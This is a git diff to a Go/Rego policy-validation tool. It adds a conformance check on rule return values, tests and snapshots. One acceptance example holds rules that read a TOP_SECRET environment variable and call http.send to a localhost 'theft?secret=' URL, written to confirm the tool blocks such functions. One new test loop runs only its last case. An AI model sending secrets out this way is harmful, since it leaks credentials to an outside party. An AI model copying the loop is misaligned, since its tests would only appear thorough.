diff --git a/acceptance/examples/disallowed_functions.rego b/acceptance/examples/disallowed_functions.rego index de3f0102f..48b032c32 100644 --- a/acceptance/examples/disallowed_functions.rego +++ b/acceptance/examples/disallowed_functions.rego @@ -6,25 +6,32 @@ # test that certain rego functions are not allowed. package policy.capabilities +import future.keywords.contains import future.keywords.if # METADATA # title: use env var -deny if { +deny contains msg if { opa.runtime().env.TOP_SECRET + + msg := "boom" } # METADATA # title: use http.send -deny if { +deny contains msg if { http.send({ "url": "http://localhost:8080/theft?secret=top-secret", "method": "GET", }) + + msg := "boom" } # METADATA # title: use net.lookup_ip_addr -deny if { +deny contains msg if { net.lookup_ip_addr("foo.bar") + + msg := "boom" } diff --git a/acceptance/examples/unsupported.rego b/acceptance/examples/unsupported.rego new file mode 100644 index 000000000..e236a37b7 --- /dev/null +++ b/acceptance/examples/unsupported.rego @@ -0,0 +1,5 @@ +package unsupported + +deny { + true +} diff --git a/features/__snapshots__/validate_image.snap b/features/__snapshots__/validate_image.snap index b39fcfb1e..1fd283134 100755 --- a/features/__snapshots__/validate_image.snap +++ b/features/__snapshots__/validate_image.snap @@ -1799,9 +1799,9 @@ Error: success criteria not met [Dropping rego capabilities:stderr - 1] Error: 1 error occurred: * error validating image ${REGISTRY}/acceptance/ec-happy-day of component Unnamed: load: loading policies: get compiler: 3 errors occurred: -${TEMP}/ec-work-${RANDOM}/policy/${RANDOM}/main.rego:14: rego_type_error: undefined function opa.runtime -${TEMP}/ec-work-${RANDOM}/policy/${RANDOM}/main.rego:20: rego_type_error: undefined function http.send -${TEMP}/ec-work-${RANDOM}/policy/${RANDOM}/main.rego:29: rego_type_error: undefined function net.lookup_ip_addr +${TEMP}/ec-work-${RANDOM}/policy/${RANDOM}/main.rego:15: rego_type_error: undefined function opa.runtime +${TEMP}/ec-work-${RANDOM}/policy/${RANDOM}/main.rego:23: rego_type_error: undefined function http.send +${TEMP}/ec-work-${RANDOM}/policy/${RANDOM}/main.rego:34: rego_type_error: undefined function net.lookup_ip_addr @@ -3086,3 +3086,15 @@ Error: success criteria not met } } --- + +[Unsupported policies:stdout - 1] + +--- + +[Unsupported policies:stderr - 1] +Error: 1 error occurred: + * error validating image ${REGISTRY}/acceptance/image of component Unnamed: the rule "deny = true { true }" returns an unsupported value, at main.rego:3 + + + +--- diff --git a/features/validate_image.feature b/features/validate_image.feature index 7c02b6f58..342b8a5cb 100644 --- a/features/validate_image.feature +++ b/features/validate_image.feature @@ -843,4 +843,27 @@ Feature: evaluate enterprise contract When ec command is run with "validate image --image ${REGISTRY}/acceptance/image --policy acceptance/policy --public-key ${known_PUBLIC_KEY} --ignore-rekor --show-successes --output=json --output=policy-input=${TMPDIR}/input.json" Then the exit status should be 0 And the output should match the snapshot - And the "${TMPDIR}/input.json" file should match the snapshot \ No newline at end of file + And the "${TMPDIR}/input.json" file should match the snapshot + + Scenario: Unsupported policies + Given a key pair named "known" + Given an image named "acceptance/image" + Given a valid image signature of "acceptance/image" image signed by the "known" key + Given a valid attestation of "acceptance/image" signed by the "known" key + Given a git repository named "happy-day-policy" with + | main.rego | examples/unsupported.rego | + Given policy configuration named "ec-policy" with specification + """ + { + "sources": [ + { + "policy": [ + "git::https://${GITHOST}/git/happy-day-policy.git" + ] + } + ] + } + """ + When ec command is run with "validate image --image ${REGISTRY}/acceptance/image --policy acceptance/ec-policy --public-key ${known_PUBLIC_KEY} --ignore-rekor --show-successes" + Then the exit status should be 1 + Then the output should match the snapshot diff --git a/internal/evaluator/__testdir__/a.rego b/internal/evaluator/__testdir__/simple/a.rego similarity index 100% rename from internal/evaluator/__testdir__/a.rego rename to internal/evaluator/__testdir__/simple/a.rego diff --git a/internal/evaluator/__testdir__/b.rego b/internal/evaluator/__testdir__/simple/b.rego similarity index 100% rename from internal/evaluator/__testdir__/b.rego rename to internal/evaluator/__testdir__/simple/b.rego diff --git a/internal/evaluator/__testdir__/unconforming/no_msg.rego b/internal/evaluator/__testdir__/unconforming/no_msg.rego new file mode 100644 index 000000000..154660d96 --- /dev/null +++ b/internal/evaluator/__testdir__/unconforming/no_msg.rego @@ -0,0 +1,5 @@ +package no_msg + +deny { + true +} diff --git a/internal/evaluator/conftest_evaluator_test.go b/internal/evaluator/conftest_evaluator_test.go index dc4e804d7..1b5215d47 100644 --- a/internal/evaluator/conftest_evaluator_test.go +++ b/internal/evaluator/conftest_evaluator_test.go @@ -24,6 +24,7 @@ import ( "embed" "encoding/json" "io" + "io/fs" "os" "path" "path/filepath" @@ -1575,44 +1576,20 @@ func TestCheckResultsTrim(t *testing.T) { } } -//go:embed __testdir__/*.rego +//go:embed __testdir__/*/*.rego var policies embed.FS func TestConftestEvaluatorEvaluate(t *testing.T) { dir := t.TempDir() require.NoError(t, os.MkdirAll(path.Join(dir, "inputs"), 0755)) require.NoError(t, os.WriteFile(path.Join(dir, "inputs", "data.json"), []byte("{}"), 0600)) - require.NoError(t, os.MkdirAll(path.Join(dir, "policy"), 0755)) - f, err := os.Create(path.Join(dir, "policy", "rules.tar")) + rego, err := fs.Sub(policies, "__testdir__/simple") require.NoError(t, err) - ar := tar.NewWriter(f) - rego, err := policies.ReadDir("__testdir__") + rules, err := rulesArchive(t, rego) require.NoError(t, err) - for _, r := range rego { - if r.IsDir() { - continue - } - f, err := policies.Open(path.Join("__testdir__", r.Name())) - require.NoError(t, err) - - bytes, err := io.ReadAll(f) - require.NoError(t, err) - - require.NoError(t, ar.WriteHeader(&tar.Header{ - Name: r.Name(), - Mode: 0644, - Size: int64(len(bytes)), - })) - - _, err = ar.Write(bytes) - require.NoError(t, err) - } - ar.Close() - f.Close() - ctx := withCapabilities(context.Background(), testCapabilities) p, err := policy.NewOfflinePolicy(ctx, "2014-05-31") @@ -1624,7 +1601,7 @@ func TestConftestEvaluatorEvaluate(t *testing.T) { evaluator, err := NewConftestEvaluator(ctx, []source.PolicySource{ &source.PolicyUrl{ - Url: path.Join(dir, "policy", "rules.tar"), + Url: rules, Kind: source.PolicyKind, }, }, p) @@ -1650,6 +1627,34 @@ func TestConftestEvaluatorEvaluate(t *testing.T) { snaps.MatchSnapshot(t, results, data) } +func TestUnconformingRule(t *testing.T) { + dir := t.TempDir() + require.NoError(t, os.MkdirAll(path.Join(dir, "inputs"), 0755)) + require.NoError(t, os.WriteFile(path.Join(dir, "inputs", "data.json"), []byte("{}"), 0600)) + + rego, err := fs.Sub(policies, "__testdir__/unconforming") + require.NoError(t, err) + + rules, err := rulesArchive(t, rego) + require.NoError(t, err) + + ctx := context.Background() + + p, err := policy.NewInertPolicy(ctx, "") + require.NoError(t, err) + + evaluator, err := NewConftestEvaluator(ctx, []source.PolicySource{ + &source.PolicyUrl{ + Url: rules, + Kind: source.PolicyKind, + }, + }, p) + require.NoError(t, err) + + _, _, err = evaluator.Evaluate(ctx, []string{path.Join(dir, "inputs")}) + assert.EqualError(t, err, `the rule "deny = true { true }" returns an unsupported value, at no_msg.rego:3`) +} + var testCapabilities string func init() { @@ -1661,3 +1666,51 @@ func init() { } testCapabilities = data } + +func rulesArchive(t *testing.T, files fs.FS) (string, error) { + t.Helper() + + dir := t.TempDir() + + rules := path.Join(dir, "rules.tar") + + f, err := os.Create(rules) + if err != nil { + return "", err + } + defer f.Close() + ar := tar.NewWriter(f) + defer ar.Close() + + rego, err := fs.ReadDir(files, ".") + if err != nil { + return "", err + } + + for _, r := range rego { + if r.IsDir() { + continue + } + f, err := files.Open(r.Name()) + if err != nil { + return "", err + } + + bytes, err := io.ReadAll(f) + if err != nil { + return "", err + } + + require.NoError(t, ar.WriteHeader(&tar.Header{ + Name: r.Name(), + Mode: 0644, + Size: int64(len(bytes)), + })) + + if _, err = ar.Write(bytes); err != nil { + return "", err + } + } + + return rules, nil +} diff --git a/internal/opa/__snapshots__/inspect_test.snap b/internal/opa/__snapshots__/inspect_test.snap index 62d22a14e..0f540381e 100755 --- a/internal/opa/__snapshots__/inspect_test.snap +++ b/internal/opa/__snapshots__/inspect_test.snap @@ -8,7 +8,7 @@ }, "location": { "file": "more/bacon.REGO", - "row": 5, + "row": 8, "col": 1 }, "path": [ @@ -37,7 +37,7 @@ }, "location": { "file": "spam.rego", - "row": 5, + "row": 8, "col": 1 }, "path": [ @@ -67,7 +67,7 @@ }, "location": { "file": "more/bacon.REGO", - "row": 5, + "row": 8, "col": 1 }, "path": [ @@ -96,7 +96,7 @@ }, "location": { "file": "spam.rego", - "row": 5, + "row": 8, "col": 1 }, "path": [ diff --git a/internal/opa/inspect.go b/internal/opa/inspect.go index c8b73e58a..578a9ebdf 100644 --- a/internal/opa/inspect.go +++ b/internal/opa/inspect.go @@ -117,6 +117,44 @@ func shortPath(fullPath string, destDir string) string { return strings.TrimPrefix(strings.TrimPrefix(fullPath, destDir), "/") } +func checkRules(rules []*ast.AnnotationsRef) error { + for _, rule := range rules { + r := rule.GetRule() + if r == nil { + // not a rule + continue + } + head := r.Head + term := head.Value + var value ast.Value + if term != nil { + // cases when rule is assigned, e.g. deny = msg {...} + value = term.Value + } else { + // cases when rule is keyed, e.g. deny[msg] {...} + key := head.Key + value = key.Value + } + + switch value.(type) { + case ast.String: + continue + case *ast.String: + continue + case ast.Object: + continue + case ast.Var: + continue + case ast.Call: + continue + } + + return fmt.Errorf("the rule %q returns an unsupported value, at %s", r.String(), r.Location) + } + + return nil +} + // Finds all the rego files, inspects each one and returns a list the inspect data func InspectDir(afs afero.Fs, dir string) ([]*ast.AnnotationsRef, error) { regoPaths := []string{} @@ -171,6 +209,11 @@ func InspectDir(afs afero.Fs, dir string) ([]*ast.AnnotationsRef, error) { return nil, err } + // check for conformance + if err := checkRules(result); err != nil { + return nil, err + } + return result, nil } diff --git a/internal/opa/inspect_test.go b/internal/opa/inspect_test.go index 32f923d66..0ce04b284 100644 --- a/internal/opa/inspect_test.go +++ b/internal/opa/inspect_test.go @@ -19,6 +19,7 @@ package opa import ( "encoding/json" "os" + "path" "path/filepath" "testing" @@ -89,10 +90,14 @@ func TestInspectDir(t *testing.T) { "spam.rego": hd.Doc(` package spam + import future.keywords.contains + import future.keywords.if + # METADATA # title: Enough spam - deny { + deny contains msg if { input.spam_count > 42 + msg := "plenty spam" } `), "spam_test.rego": "ignored", @@ -101,10 +106,14 @@ func TestInspectDir(t *testing.T) { "more/bacon.REGO": hd.Doc(` package more.bacon + import future.keywords.contains + import future.keywords.if + # METADATA # title: Enough bacon - deny { + deny contains msg if { input.bacon_count > 42 + msg := "plenty bacon" } `), } @@ -148,3 +157,82 @@ func TestInspectDir(t *testing.T) { }) } } + +func TestCheckRules(t *testing.T) { + cases := []struct { + name string + rego string + err string + }{ + { + name: "assignement", + rego: `package test + x := "value"`, + }, + { + name: "no message", + rego: `package test + deny { true }`, + err: `the rule "deny = true { true }" returns an unsupported value, at rules.rego:2`, + }, + { + // we can't check for this, we don't know the type of `x` + name: "var assignement", + rego: `package test + deny[x] { x := true }`, + }, + { + // we can't check for this, we don't know if `o` is an empty object + name: "object assignement", + rego: `package test + import future.keywords.contains + import future.keywords.if + deny contains o if { o := {} }`, + }, + { + name: "not string", + rego: `package test + deny { 2 }`, + err: `the rule "deny = true { 2 }" returns an unsupported value, at rules.rego:2`, + }, + { + name: "string", + rego: `package test + deny[msg] { msg := "str" }`, + }, + { + name: "object", + rego: `package test + deny := {"key": "val"}`, + }, + { + name: "function", + rego: `package test + deny[fn()]{ + true + } + fn := {"key": "val"}`, + }, + { + name: "assign", + rego: `package test + deny := "value" { + true + }`, + }, + } + + for _, c := range cases[len(cases)-1:] { + t.Run(c.name, func(t *testing.T) { + tmp := t.TempDir() + require.NoError(t, os.WriteFile(path.Join(tmp, "rules.rego"), []byte(c.rego), 0600)) + + _, err := InspectDir(afero.NewOsFs(), tmp) + if c.err != "" { + assert.EqualError(t, err, c.err) + } else { + assert.NoError(t, err) + } + }) + } +}